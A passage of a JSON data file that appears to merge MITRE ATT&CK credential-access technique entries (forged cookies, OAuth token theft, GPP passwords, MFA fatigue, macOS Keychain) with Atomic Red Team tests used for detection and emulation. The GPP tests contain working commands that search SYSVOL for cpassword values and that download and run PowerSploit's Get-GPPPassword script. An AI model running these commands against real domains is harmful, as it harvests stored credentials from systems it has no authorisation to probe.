- "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
- "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
- },
- {
- "source_name": "Unit 42 Mac Crypto Cookies January 2019",
- "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
- "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
- }
- ],
- "modified": "2021-09-20T16:48:28.041Z",
- "name": "Web Cookies",
- "description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Web Credential: Web Credential Usage",
- "Logon Session: Logon Session Creation",
- "Web Credential: Web Credential Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1528": {
- "technique": {
- "x_mitre_platforms": [
- "SaaS",
- "Office 365",
- "Azure AD",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Suzy Schapperle - Microsoft Azure Red Team",
- "Shailesh Tiwary (Indian Army)",
- "Mark Wee",
- "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
- "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
- "Ram Pliskin, Microsoft Azure Security Center",
- "Jen Burns, HubSpot"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a",
- "created": "2019-09-04T15:54:25.684Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1528",
- "url": "https://attack.mitre.org/techniques/T1528"
- },
- {
- "source_name": "Amnesty OAuth Phishing Attacks, August 2019",
- "url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/",
- "description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019."
- },
- {
- "source_name": "Auth0 Understanding Refresh Tokens",
- "url": "https://auth0.com/learn/refresh-tokens/",
- "description": "Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December 16, 2021."
- },
- {
- "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
- "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
- "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019."
- },
- {
- "source_name": "Trend Micro Pawn Storm OAuth 2017",
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
- "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."
- },
- {
- "source_name": "Kubernetes Service Accounts",
- "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
- "description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022."
- },
- {
- "source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
- "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019."
- },
- {
- "source_name": "Microsoft - Azure AD App Registration - May 2019",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app",
- "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019."
- },
- {
- "source_name": "Microsoft - OAuth Code Authorization flow - June 2019",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow",
- "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019."
- },
- {
- "source_name": "Microsoft Identity Platform Protocols May 2019",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols",
- "description": "Microsoft. (n.d.). Retrieved September 12, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nIn Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. \n\n",
- "modified": "2022-04-21T16:25:11.482Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Steal Application Access Token",
- "x_mitre_detection": "Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \u201cHigh severity app permissions\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\u2019s purpose, or apps with old \u201cLast authorized\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "User Account: User Account Modification"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1528"
- },
- "atomic_tests": []
- },
- "T1552.006": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
- "type": "attack-pattern",
- "created": "2020-02-11T18:43:06.253Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1552.006",
- "url": "https://attack.mitre.org/techniques/T1552/006"
- },
- {
- "source_name": "Microsoft GPP 2016",
- "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)",
- "description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020."
- },
- {
- "url": "https://msdn.microsoft.com/library/cc422924.aspx",
- "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.",
- "source_name": "Microsoft GPP Key"
- },
- {
- "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html",
- "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.",
- "source_name": "Obscuresecurity Get-GPPPassword"
- },
- {
- "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.",
- "url": "https://adsecurity.org/?p=2288",
- "source_name": "ADSecurity Finding Passwords in SYSVOL"
- }
- ],
- "modified": "2020-06-17T14:25:38.082Z",
- "name": "Unsecured Credentials: Group Policy Preferences",
- "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: post/windows/gather/credentials/gpp
\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml
\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1552.006"
- },
- "atomic_tests": [
- {
- "name": "GPP Passwords (findstr)",
- "auto_generated_guid": "870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f",
- "description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must be domain joined\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually\n"
- }
- ],
- "executor": {
- "command": "findstr /S cpassword %logonserver%\\sysvol\\*.xml\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "GPP Passwords (Get-GPPPassword)",
- "auto_generated_guid": "e9584f82-322c-474a-b831-940fd8b4455c",
- "description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller.\nThis test is intended to be run from a domain joined workstation, not on the Domain Controller itself.\nThe Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.\n\nSuccessful test execution will either display the credentials found in the GPP files or indicate \"No preference files found\".\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "gpp_script_url": {
- "description": "URL of the Get-GPPPassword PowerShell Script",
- "type": "url",
- "default": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/87630cac639f29c2adcb163f661f02890adf4bdd/Exfiltration/Get-GPPPassword.ps1"
- },
- "gpp_script_path": {
- "description": "Path to the Get-GPPPassword PowerShell Script",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1552.006\\src\\Get-GPPPassword.ps1"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Get-GPPPassword PowerShell Script must exist at #{gpp_script_path}\n",
- "prereq_command": "if(Test-Path \"#{gpp_script_path}\") {exit 0 } else {exit 1 }\n",
- "get_prereq_command": "New-Item -ItemType Directory (Split-Path \"#{gpp_script_path}\") -Force | Out-Null\nInvoke-WebRequest #{gpp_script_url} -OutFile \"#{gpp_script_path}\"\n"
- },
- {
- "description": "Computer must be domain joined\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually\n"
- }
- ],
- "executor": {
- "command": ". #{gpp_script_path}\nGet-GPPPassword -Verbose\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1141": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Molyett, @s1air, Cisco Talos"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1141",
- "url": "https://attack.mitre.org/techniques/T1141"
- },
- {
- "external_id": "CAPEC-569",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/569.html"
- },
- {
- "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html",
- "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
- "source_name": "OSX Malware Exploits MacKeeper"
- },
- {
- "source_name": "LogRhythm Do You Trust Oct 2014",
- "url": "https://logrhythm.com/blog/do-you-trust-your-computer/",
- "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018."
- },
- {
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
- "source_name": "OSX Keydnap malware"
- },
- {
- "source_name": "Enigma Phishing for Credentials Jan 2015",
- "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/",
- "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018."
- }
- ],
- "modified": "2020-02-12T16:34:06.412Z",
- "name": "Input Prompt",
- "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials.\n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.",
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1606": {
- "technique": {
- "x_mitre_platforms": [
- "SaaS",
- "Windows",
- "macOS",
- "Linux",
- "Azure AD",
- "Office 365",
- "Google Workspace",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c",
- "type": "attack-pattern",
- "created": "2020-12-17T02:13:46.247Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1606",
- "url": "https://attack.mitre.org/techniques/T1606"
- },
- {
- "source_name": "GitHub AWS-ADFS-Credential-Generator",
- "url": "https://github.com/damianh/aws-adfs-credential-generator",
- "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020."
- },
- {
- "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
- "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
- "source_name": "Pass The Cookie"
- },
- {
- "source_name": "Unit 42 Mac Crypto Cookies January 2019",
- "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
- "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
- },
- {
- "source_name": "Microsoft SolarWinds Customer Guidance",
- "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
- "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."
- }
- ],
- "modified": "2021-10-12T14:26:52.179Z",
- "name": "Forge Web Credentials",
- "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Web Credential: Web Credential Usage",
- "Web Credential: Web Credential Creation",
- "Logon Session: Logon Session Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1621": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365",
- "Linux",
- "macOS",
- "IaaS",
- "SaaS",
- "Azure AD",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security",
- "Pawel Partyka, Microsoft 365 Defender"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493",
- "created": "2022-04-01T02:15:49.754Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1621",
- "url": "https://attack.mitre.org/techniques/T1621"
- },
- {
- "source_name": "Russian 2FA Push Annoyance - Cimpanu",
- "url": "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/",
- "description": "Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022."
- },
- {
- "source_name": "MFA Fatigue Attacks - PortSwigger",
- "url": "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications",
- "description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022."
- },
- {
- "source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe",
- "url": "https://www.mandiant.com/resources/russian-targeting-gov-business",
- "description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)",
- "modified": "2022-04-20T19:40:51.825Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Multi-Factor Authentication Request Generation",
- "x_mitre_detection": "Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Metadata",
- "Logon Session: Logon Session Creation",
- "Application Log: Application Log Content",
- "User Account: User Account Authentication"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1212": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "John Lambert, Microsoft Threat Intelligence Center"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1212",
- "url": "https://attack.mitre.org/techniques/T1212"
- },
- {
- "source_name": "ADSecurity Detecting Forged Tickets",
- "url": "https://adsecurity.org/?p=1515",
- "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015."
- },
- {
- "source_name": "Technet MS14-068",
- "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx",
- "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.",
- "modified": "2022-04-28T16:06:49.447Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Exploitation for Credential Access",
- "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Application Log: Application Log Content",
- "User Account: User Account Authentication"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1142": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1142",
- "url": "https://attack.mitre.org/techniques/T1142"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Keychain_(software)",
- "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.",
- "source_name": "Wikipedia keychain"
- },
- {
- "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
- "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
- "source_name": "External to DA, the OS X Way"
- }
- ],
- "modified": "2020-02-12T18:55:55.305Z",
- "name": "Keychain",
- "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/
,/Library/Keychains/
, and /Network/Library/Keychains/
. (Citation: Wikipedia keychain) The security
command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1056.002": {
- "technique": {
